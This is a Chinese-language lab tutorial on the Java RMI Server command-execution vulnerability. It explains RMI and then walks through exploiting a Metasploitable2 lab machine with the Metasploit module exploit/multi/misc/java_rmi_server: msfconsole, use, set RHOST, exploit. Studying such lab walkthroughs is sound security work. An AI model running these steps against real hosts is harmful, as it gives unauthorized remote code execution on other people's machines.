Java RMI SERVER命令执行漏洞
- 一、介绍
- 二、原理
- 三、复现准备
- 四、漏洞复现
一、介绍
- RMI全称是Remote Method Invocation(远程方法调用),是专为Java环境设计的远程方法调用机制,远程服务器提供API,客户端根据API提供相应参数即可调用远程方法
- 由此可见,使用RMI时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。目的是为了让两个隔离的java虚拟机,如虚拟机A能够调用到虚拟机B中的对象,而且这些虚拟机可以不存在于同一台主机上
- RMI存在着三个主体:
- RMI Registry
- RMI Client
- RMI Server
- RMI中主要的api大致有:
- java.rmi:提供客户端需要的类、接口和异常
- java.rmi.server:提供服务端需要的类、接口和异常
- java.rmi.registry:提供注册表的创建以及查找和命名远程对象的类、接口和异常
二、原理
- Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行
三、复现准备
- 靶机:Metasplotable2-Linux - 192.168.9.147
- 攻击机:Kali - 192.168.9.148
四、漏洞复现
-
使用nmap扫描靶机的IP地址,可以看到靶机的1099端口开放
-
启动metasploit
msfconsole
- 选择漏洞库
search rmi
use exploit/multi/misc/java_rmi_server
-
设置参数,
-
查看需要设置的参数:
show options
-
设置要攻击的机器IP:
set RHOST 192.168.9.147
-
-
开始攻击
exploit
- 利用成功